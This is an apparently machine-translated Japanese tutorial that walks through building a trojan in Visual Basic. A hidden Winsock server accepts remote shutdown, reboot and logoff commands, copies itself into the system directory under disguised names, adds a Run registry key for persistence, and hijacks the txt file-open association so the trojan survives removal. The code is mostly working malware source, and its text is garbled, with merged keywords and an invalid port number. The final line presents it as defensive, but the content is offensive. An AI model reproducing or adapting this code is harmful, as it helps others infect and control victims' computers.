まず、Server という名前の新しいプロジェクトを作成し、Name を Server として新しいフォームを作成し、winsock コントロールをフォームに追加し、Name を sckServer に設定し、プロトコルをデフォルトの TCP/ip プロトコルに設定します。
次に、サーバー フォーム モジュールに戻り、次のコードを追加します。
->PRivateSubform_Load()
私と一緒に
.sckServer.LocalPort=88917'ローカルポート (笑! 私の誕生日!)
.sckServer.Listen'リスニングを開始
EndWith
EndSub
'クライアントの接続要求を受け入れます。
PrivateSubsckServer_ConnectionRequest(ByValrequestIDAsLong)
私と一緒に
If.sckServer.State<>sckClosedThen.sckServer.Close
.sckServer.Accept(リクエストID)
EndWith
EndSub->
次に、クライアント プログラムを作成しましょう。Client という名前の新しいプロジェクトを作成し、フォームに Client という名前を付け、それに sckClient という名前の Winsock コントロールを追加します。プロトコルは TCP/IP プロトコルです。別のボタン cmdConnect を追加し、フォーム モジュールにコードを追加します。
->PrivateSubform_Load()
私と一緒に
.sckClient.RemoteHost=127.0.0.1' リモート IP を設定します。この例では、ローカル マシンに設定します。
.sckClient.RemotePort=88917'リモートポートはサーバーの設定と同じです。
EndWith
EndSub
PrivatesubcmdConnect_Click()
SckClient.Connect
エンドサブ->
この時点で、「接続」ボタンをクリックすると、2 つのプロジェクトは通信できますが、表示されません。これを確認するには、クライアントの sckClient_Connect イベントにコードを追加します。
これは最初のステップにすぎず、機能を追加してみましょう。わかりやすくするために、この記事ではシャットダウン、再起動、ログアウトなどのいくつかの小さな機能のみを実装します。はい、始めましょう!
Server プロジェクトに modApi という名前の新しいモジュールを作成します。このモジュールには、次の API 関数が含まれています。
->PublicDeclareFunctionExitWindowXXXLibuser32AliasExitWindowXXX(ByValuFlagsAsLong,ByValdwReservedAsLong)AsLong
PublicConstEWX_LOGOFF=0
PublicConstEWX_REBOOT=2
PublicConstEWX_SHUTDOWN=1
PublicDeclareFunctionClipCursorLibuser32AliasClipCursor(lpRectAsAny)AsLong
PublicTypeRECT
そのまま左
トップアズロング
右ほど長く
ボトムアズロング
終了タイプ->
注: 2 つのソケット間のプログラミングにおいて、通信のための重要なイベントは、リモート データを受信するために使用される DataArrival イベントです。
次に、クライアント プロジェクトのクライアント フォームに 3 つのボタン (cmdExit、cmdLogoff、cmdReboot) を配置します。これらは、リモートのシャットダウン、ログアウト、および再起動の操作に使用されます。次のコードをそれぞれ追加します。
->PrivateSubcmdExit_Click()
Me.sckClient.SendDataExit
EndSub
PrivateSubcmdLogoff_Click()
Me.sckClient.SendDataLogoff
EndSub
PrivateSubcmdReboot_Click()
Me.sckClient.SendDataReboot
EndSub->
すべてのリクエストはサーバーに対して行われます。次に、サーバー プロジェクトに移動します。サーバーに sckServer の DataArrial イベントを追加して、クライアントのリクエストを受信します。
->PrivateSubsckServer_DataArrival(ByValbytesTotalAsLong)
DimstrDataAsString
私と一緒に
「お客様からご要望のあった情報を受け取る」
.sckServer.GetDatastrData
SelectCasestrData
ケース終了
'シャットダウン
CallExitWindowXXX(EWX_SHUTDOWN,0)
ケース再起動
'再起動
CallExitWindowXXX(EWX_REBOOT,0)
ケースログオフ
'ログアウト
CallExitWindowXXX(EWX_LOGOFF,0)
終了選択
EndWith
EndSub->
さて、関数を実装しましたが、まだ実行していないので、バックグラウンドで実行したいと考えています。これは簡単で、サーバーの form_Load イベントに me.hide という文を追加します。幸いなことに、現在は目に見えませんが、コンピュータの電源を入れるとすぐにこのトロイの木馬が自動的に実行されることは誰もが知っています。なぜ、またどのようにしてこのようなことが起こるのでしょうか。レジストリのスタートアップ グループに追加しますか?はい、いいです、一緒に来てください!
Server プロジェクトの modApi に戻り、次の API 関数を追加します。
->PublicDeclareFunctionRegOpenKeyLibadvapi32.dllAliasRegOpenKeyA(ByValhKeyAsLong,ByValpSubKeyAsString,phkResultAsLong)AsLong
PublicDeclareFunctionRegSetvalueExLibadvapi32.dllAliasRegSetvalueExA(ByValhKeyAsLong,ByVallpvalueNameAsString,ByValReservedAsLong,ByValdwTypeAsLong,lpDataAsAny,ByValcbDataAsLong)AsLong
PublicDeclareFunctionRegCreateKeyLibadvapi32.dllAliasRegCreateKeyA(ByValhKeyAsLong,ByValpSubKeyAsString,phkResultAsLong)AsLong
PublicConstREG_BINARY=3
PublicConstREG_SZ=1
PublicConstHKEY_LOCAL_MACHINE=&H80000002
PublicConstHKEY_CLASSES_ROOT=&H80000000->
レジストリ スタートアップ グループに書き込むプロセス。
->PublicSubStartupGroup()
DimsKeyAsString
DimresultAsLong
DimhKeyIDAsLong
DimsKeyValAsString
sKey=Systrsy'グループ内のキーを開始し、システム ファイルに類似したキーを見つけます。
sKeyVal=C:/windows/system/systrsy.exe' トロイの木馬ファイルのパス GetSystemDirectory を使用してシステム パスを取得できます。
result=RegOpenKey(HKEY_LOCAL_MACHINE,_
ソフトウェア/Microsoft/Windows/CurrentVersion/Run,hKeyID)
Ifresult=0Then
result=RegSetvalueEx(hKeyID,sKey,0&,REG_SZ,sKeyVal,Len(sKey) 1)
EndIf
EndSub->
まあ、それだけです。しかし、初心者でない人がレジストリから削除してしまったら、私たちの苦労が無駄になるのではないか、考えたことはありますか?いや、たとえ見つけても削除できないようにしなければなりません。以下のコードを見てください。
->PublicSubWriteToTxt()
DimresultAsLong
DimhKeyIDAsLong
DimskeyAsString
DimskeyValAsString
skey=txtfile/シェル/オープン/コマンド
skeyVal=C:/windows/system/txtView.exe
result=RegOpenKey(HKEY_CLASSES_ROOT,skeyVal,hKeyID)
Ifresult=0Then
result=RegSetvalueEx(hKeyID,skey,0&,REG_SZ,skeyVal,Len(skeyVal) 1)
EndIf
EndSub->
多くの友人は、このトロイの木馬がもともと txt ファイルに関連付けられていたことを一目で知っていたはずです。これはまったく問題ありませんが、C:/windows/system/txtView.exe はどこから来たのでしょうか? /systrsy .exe。これはトロイの木馬のクローンです。
さて、サーバー プロジェクトのサーバー フォームの form_Load に戻り、次のコードを追加します。
->DimsCurrentPathAsString,sSystemDirAsString
sCurrentPath=App.Path&/&App.EXEName&.exe
sSystemDir=C:/windows/システム
エラー発生時再開次へ
'ファイルをシステム ディレクトリの Systrsy.exe にコピーします
FileCopysCurrentPath,sSystemDir&/Systrsy.exe
エラー発生時再開次へ
ファイルをシステム ディレクトリの txtView.exe にコピーします。
FileCopysCurrentPath,sSystemDir&/txtView.exe->
電話
->CallstartupGroup
Txt への書き込み書き込み
'プログラムが実行されているかどうかを判断する
IfApp.PrevInstanceThen
'すでに実行中の場合は終了します。
終わり
EndIf->
知らせ:
1. ポートを扱うときは、ハイエンドのポートを使用するのが最善です。そうしないと、一般的に使用されるポートと競合します。
2. 初めて VB.NET を使用する場合は、関連書籍を読むことをお勧めします。
->
上記は、Visual Basic を使用してトロイの木馬の攻撃を防ぐ方法です。皆さんも自分自身と敵について知り、攻撃が起こる前に予防策を講じてください。